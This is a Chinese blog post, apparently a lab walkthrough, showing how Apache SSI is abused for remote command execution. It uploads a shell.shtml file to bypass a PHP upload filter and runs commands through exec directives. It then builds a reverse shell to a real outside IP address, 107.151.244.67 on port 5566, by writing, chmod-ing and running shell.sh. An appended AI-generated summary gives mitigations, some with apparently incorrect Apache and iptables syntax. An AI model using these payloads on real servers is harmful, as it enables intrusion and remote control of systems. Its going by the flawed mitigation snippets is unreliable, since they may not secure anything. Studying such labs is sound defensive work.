Apache SSI 远程命令执行漏洞

本文讲述了ApacheSSI服务器端包含功能如何被滥用,实现远程命令执行,包括配置步骤、利用SHTML文件上传执行命令以及避免权限问题的方法。同时提到了XBitHack对文件执行权限的影响和常见错误处理。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Apache SSI 远程命令执行漏洞

什么是 SSI?

SSI (Server Side Includes) are directives that are placed in HTML pages, and evaluated on the server while the pages are being served. They let you add dynamically generated content to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.

SSI(服务器端包含)是放置在 HTML 页面中的指令,并在提供页面时在服务器上进行评估。它们允许您将动态生成的内容添加到现有 HTML 页面,而无需通过 CGI 程序或其他动态技术提供整个页面。

Configuring your server to permit SSI

配置服务器以允许 SSI

To permit SSI on your server, you must have the following directive either in your httpd.conf file, or in a .htaccess file:
若要在服务器上允许 SSI,必须在 httpd.conf 文件或 .htaccess 文件中具有以下指令:

Options +Includes

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传 php 后缀的文件。如果目标服务器开启了 SSI 与 CGI 支持,我们可以上传一个 shtml 文件,并利用<!--#exec cmd="id" -->语法执行任意命令。

环境启动后,访问http://your-ip:8080/upload.php,即可看到一个上传表单。

image-20240122162234896

正常上传 PHP 文件是不允许的

image-20240122162241340

我们可以上传一个 shell.shtml 文件:

image-20240122162509537

image-20240122163123852

成功上传后,然后访问 shell.shtml,可见命令已成功执行:

image-20240122163303104

(反弹 shell,拿到权限)

直接反弹 shell 无法直接拿到权限

<!--#exec cmd="bash -i >& /dev/tcp/107.151.244.67/5566 0>&1"-->

image-20240122164958420

创建反弹.sh 文件,给权限,再用/bin/bash 运行

<!--#exec cmd="echo 'bash -i >& /dev/tcp/107.151.244.67/5566 0>&1' > /var/www/html/shell.sh"-->
# 在/var/www/html/目录下创建一个反弹shell命令的shell.sh文件

<!--#exec cmd="chmod +x /var/www/html/shell.sh"-->
# 赋予该文件以执行权限

<!--#exec cmd="/bin/bash /var/www/html/shell.sh"-->
# 执行该文件

image-20240122164648505

image-20240122165332739

关于技术说明

https://httpd.apache.org/docs/2.4/howto/ssi.html
<!--#echo var="DATE_LOCAL" -->

XBitHack 告诉 Apache 解析 SSI 指令的文件(如果它们设置了执行位)。因此,要将 SSI 指令添加到现有页面,而不必更改文件名,只需使用 chmod
chmod +x pagename.html

通常,当您的 SSI 指令出现问题时,您会收到以下消息
[an error occurred while processing this directive]
### SSI远程命令执行漏洞概述 服务器端包含(Server-Side Include,简称SSI)是一种用于动态网页的技术。它允许开发者通过简单的指令嵌入其他文件的内容到HTML页面中。然而,在某些情况下,如果SSI未被正确配置或者存在安全缺陷,则可能导致远程命令执行漏洞。 #### 漏洞成因分析 当Web服务器支持SSI功能并启用了`exec`命令时,攻击者可能利用此特性注入恶意代码或执行操作系统级别的命令。例如,未经验证的输入数据可能会被直接传递给解释器处理[^1]。 #### 解决方案建议 为了防止此类安全隐患的发生,可以采取以下措施: 1. **禁用不必要的SSI功能** 如果网站不需要使用SSI技术来增强其功能性的话,最简单有效的方法就是完全关闭该服务选项。 2. **限制Exec权限** 即使保留了部分SSI能力,也应严格控制哪些脚本能够调用外部程序的能力。具体操作可以通过调整Apache配置文件中的Options参数实现: ```apache Options -IncludesNOEXEC ``` 3. **过滤用户提交的数据** 对所有来自客户端请求的信息都需经过仔细校验后再做进一步加工;特别是那些看起来像是特殊字符组合的部分更应该引起重视[^2]。 4. **定期更新软件版本** 使用最新稳定版的服务端应用以及关联库有助于修补已知的安全问题。 5. **实施严格的访问控制策略** 配置防火墙规则只允许特定IP地址范围内的机器连接至内部网络资源。 ```bash iptables -A INPUT -p tcp --dport 80 -s ! 192.168.1.0/24 -j DROP ``` 上述例子展示了如何阻止除指定网段外的所有HTTP流量到达服务器实例上监听的标准端口位置。 ### 结论 综上所述,针对SSI引发的潜在风险点提出了几个可行性的防护手段。实际部署过程中还需要综合考虑业务需求与安全性之间的平衡关系。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值